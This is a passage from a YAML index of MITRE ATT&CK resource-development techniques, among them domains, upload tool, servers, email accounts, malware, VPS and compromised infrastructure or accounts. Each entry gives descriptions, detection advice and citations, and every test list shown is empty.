        Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)

        Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Wes Hurd
      - Vinayak Wadhwa, Lucideus
      - Deloitte Threat Library Team
      - Oleg Kolesnikov, Securonix
      - Menachem Goldstein
      - Nikola Kovac
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Domain Name: Passive DNS'
      - 'Domain Name: Domain Registration'
      - 'Domain Name: Active DNS'
      type: attack-pattern
      id: attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3
      created: '2020-09-30T17:09:31.878Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583/001
        external_id: T1583.001
      - source_name: URI Unique
        description: Australian Cyber Security Centre. National Security Agency. (2020,
          April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.
        url: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
      - source_name: PaypalScam
        description: Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI'
          scam. Retrieved March 2, 2017.
        url: https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/
      - source_name: CISA IDN ST05-016
        description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding
          Internationalized Domain Names. Retrieved October 20, 2020.'
        url: https://us-cert.cisa.gov/ncas/tips/ST05-016
      - source_name: CISA MSS Sep 2020
        description: 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry
          of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October
          1, 2020.'
        url: https://us-cert.cisa.gov/ncas/alerts/aa20-258a
      - source_name: bypass_webproxy_filtering
        description: Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering.
          Retrieved September 20, 2019.
        url: https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/
      - source_name: FireEye APT28
        description: 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE
          OPERATIONS?. Retrieved August 19, 2015.'
        url: https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
      - source_name: Domain_Steal_CC
        description: Krebs, B. (2018, November 13). That Domain You Forgot to Renew?
          Yeah, it’s Now Stealing Credit Cards. Retrieved September 20, 2019.
        url: https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/
      - source_name: tt_obliqueRAT
        description: Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe
          APT expands its Windows malware arsenal . Retrieved July 29, 2022.
        url: https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html
      - source_name: tt_httrack_fake_domains
        description: Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent
          Tribe campaign uses new bespoke malware to target Indian government officials
          . Retrieved September 6, 2022.
        url: https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html
      - source_name: Mandiant APT1
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
      - source_name: Categorisation_not_boundary
        description: MDSec Research. (2017, July). Categorisation is not a Security
          Boundary. Retrieved September 20, 2019.
        url: https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/
      - source_name: URI
        description: Michael Cobb. (2007, October 11). Preparing for uniform resource
          identifier (URI) exploits. Retrieved February 9, 2024.
        url: https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits
      - source_name: Redirectors_Domain_Fronting
        description: Mudge, R. (2017, February 6). High-reputation Redirectors and
          Domain Fronting. Retrieved July 11, 2022.
        url: https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/
      - source_name: URI Use
        description: Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use
          and Abuse. Retrieved February 9, 2024.
        url: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
      - source_name: iOS URL Scheme
        description: Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February
          9, 2024.
        url: https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html
      - source_name: lazgroup_idn_phishing
        description: 'RISKIQ. (2017, December 20). Mining Insights: Infrastructure
          Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry.
          Retrieved July 29, 2022.'
        url: https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
      - source_name: httrack_unhcr
        description: 'RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup:
          Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved
          July 29, 2022.'
        url: https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1608.002:
    technique:
      modified: '2022-10-20T20:16:32.599Z'
      name: Upload Tool
      description: |-
        Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

        Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)

        Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d
      created: '2021-03-17T20:31:07.828Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608/002
        external_id: T1608.002
      - source_name: Dell TG-3390
        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
          August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved
          August 18, 2018.
        url: https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
      - source_name: Malwarebytes Heroku Skimmers
        description: 'Jérôme Segura. (2019, December 4). There''s an app for that:
          web skimmers found on PaaS Heroku. Retrieved August 18, 2022.'
        url: https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku
      - source_name: Dragos Heroku Watering Hole
        description: 'Kent Backman. (2021, May 18). When Intrusions Don’t Align: A
          New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.'
        url: https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/
      - source_name: Intezer App Service Phishing
        description: Paul Litvak. (2020, October 8). Kud I Enter Your Server? New
          Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.
        url: https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1583.004:
    technique:
      modified: '2024-02-28T21:22:52.176Z'
      name: Server
      description: "Adversaries may buy, lease, rent, or obtain physical servers that
        can be used during targeting. Use of servers allows an adversary to stage,
        launch, and execute an operation. During post-compromise activity, adversaries
        may utilize servers for various tasks, such as watering hole operations in
        [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling
        [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating
        [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of
        compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004)
        or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003),
        adversaries may opt to configure and run their own servers in support of operations.
        Free trial periods of cloud servers may also be abused.(Citation: Free Trial
        PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight
        setup if most of their activities will take place using online infrastructure.
        Or, they may need to build extensive infrastructure if they want to test,
        communicate, and control other aspects of their activities on their own systems.(Citation:
        NYTStuxnet)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Dor Edry, Microsoft
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Internet Scan: Response Metadata'
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337
      created: '2020-10-01T00:48:09.578Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583/004
        external_id: T1583.004
      - source_name: Freejacked
        description: Clark, Michael. (2023, August 14). Google’s Vertex AI Platform
          Gets Freejacked. Retrieved February 28, 2024.
        url: https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/
      - source_name: Free Trial PurpleUrchin
        description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin
          Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February
          28, 2024.
        url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
      - source_name: Koczwara Beacon Hunting Sep 2021
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
      - source_name: Mandiant SCANdalous Jul 2020
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      - source_name: NYTStuxnet
        description: William J. Broad, John Markoff, and David E. Sanger. (2011, January
          15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved
          March 1, 2017.
        url: https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1585.002:
    technique:
      modified: '2024-02-28T21:11:27.088Z'
      name: Email Accounts
      description: "Adversaries may create email accounts that can be used during
        targeting. Adversaries can use accounts created with email providers to further
        their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598)
        or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant
        APT1) Establishing email accounts may also allow adversaries to abuse free
        services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)
        for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries
        may also take steps to cultivate a persona around the email account, such
        as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001),
        to increase the chance of success of follow-on behaviors. Created email accounts
        can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation:
        Mandiant APT1)\n\nTo decrease the chance of physically tying back operations
        to themselves, adversaries may make use of disposable email services.(Citation:
        Trend Micro R980 2016) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_deprecated: false
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.1'
      type: attack-pattern
      id: attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a
      created: '2020-10-01T01:09:53.217Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1585/002
        external_id: T1585.002
      - source_name: Trend Micro R980 2016
        description: Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware
          Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/
      - source_name: Free Trial PurpleUrchin
        description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin
          Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February
          28, 2024.
        url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
      - source_name: Mandiant APT1
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970
      type: attack-pattern
      created: '2020-10-01T02:06:11.499Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.001
        url: https://attack.mitre.org/techniques/T1588/001
      - source_name: FireEyeSupplyChain
        description: 'FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to
          SunshopFireEye. Retrieved March 6, 2017.'
        url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop
      modified: '2022-04-25T14:00:00.188Z'
      name: Malware
      description: |-
        Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.

        In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Metadata'
      - 'Malware Repository: Malware Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1583.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795
      type: attack-pattern
      created: '2020-10-01T00:44:23.935Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1583.003
        url: https://attack.mitre.org/techniques/T1583/003
      - source_name: TrendmicroHideoutsLease
        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
          Bulletproof Hosting Services. Retrieved March 6, 2017.'
        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      - source_name: Mandiant SCANdalous Jul 2020
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
      - source_name: Koczwara Beacon Hunting Sep 2021
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Virtual Private Server
      description: |-
        Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

        Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      - 'Internet Scan: Response Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1584:
    technique:
      modified: '2024-03-28T03:53:28.299Z'
      name: Compromise Infrastructure
      description: |-
        Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

        Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)

        By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Jeremy Galloway
      - Shailesh Tiwary (Indian Army)
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: "Consider monitoring for anomalous changes to domain registrant
        information and/or domain resolution information that may indicate the compromise
        of a domain. Efforts may need to be tailored to specific domains of interest
        as benign registration and resolution changes are a common occurrence on the
        internet. \n\nOnce adversaries have provisioned compromised infrastructure
        (ex: a server for use in command and control), internet scans may help proactively
        discover compromised infrastructure. Consider looking for identifiable patterns
        such as services listening, certificates in use, SSL/TLS negotiation features,
        or other response artifacts associated with adversary C2 software.(Citation:
        ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation:
        Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related
        stages of the adversary lifecycle, such as during Command and Control."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      - 'Domain Name: Domain Registration'
      - 'Domain Name: Active DNS'
      - 'Domain Name: Passive DNS'
      - 'Internet Scan: Response Metadata'
      type: attack-pattern
      id: attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9
      created: '2020-10-01T00:36:30.759Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584
        external_id: T1584
      - source_name: amnesty_nso_pegasus
        description: 'Amnesty International Security Lab. (2021, July 18). Forensic
          Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February
          22, 2022.'
        url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
      - source_name: Sysdig Proxyjacking
        description: Crystal Morin. (2023, April 4). Proxyjacking has Entered the
          Chat. Retrieved July 6, 2023.
        url: https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/
      - source_name: FireEye DNS Hijack 2019
        description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS
          Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October
          9, 2020.'
        url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
      - source_name: ICANNDomainNameHijacking
        description: 'ICANN Security and Stability Advisory Committee. (2005, July
          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
          March 6, 2017.'
        url: https://www.icann.org/groups/ssac/documents/sac-007-en
      - source_name: Koczwara Beacon Hunting Sep 2021
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
      - source_name: Mandiant APT1
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
      - source_name: Talos DNSpionage Nov 2018
        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
          Targets Middle East. Retrieved October 9, 2020.
        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
      - source_name: NSA NCSC Turla OilRig
        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
          16, 2020.'
        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
      - source_name: Mandiant SCANdalous Jul 2020
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      - source_name: FireEye EPS Awakens Part 2
        description: Winters, R. (2015, December 20). The EPS Awakens - Part 2. Retrieved
          January 22, 2016.
        url: https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1586:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Compromise Accounts
      description: "Adversaries may compromise accounts with services that can be
        used during targeting. For operations incorporating social engineering, the
        utilization of an online persona may be important. Rather than creating and
        cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)),
        adversaries may compromise existing accounts. Utilizing an existing persona
        may engender a level of trust in a potential victim if they have a relationship,
        or knowledge of, the compromised persona. \n\nA variety of methods exist for
        compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598),
        purchasing credentials from third-party sites, brute forcing credentials (ex:
        password reuse from breach credential dumps), or paying employees, suppliers
        or business partners for access to credentials.(Citation: AnonHBGary)(Citation:
        Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct
        Reconnaissance to inform decisions about which accounts to compromise to further
        their operation.\n\nPersonas may exist on a single site or across multiple
        sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts
        may require additional development, this could include filling out or modifying
        profile information, further developing social networks, or incorporating
        photos.\n\nAdversaries may directly leverage compromised email accounts for
        [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566)."
      kill_chain_phases:
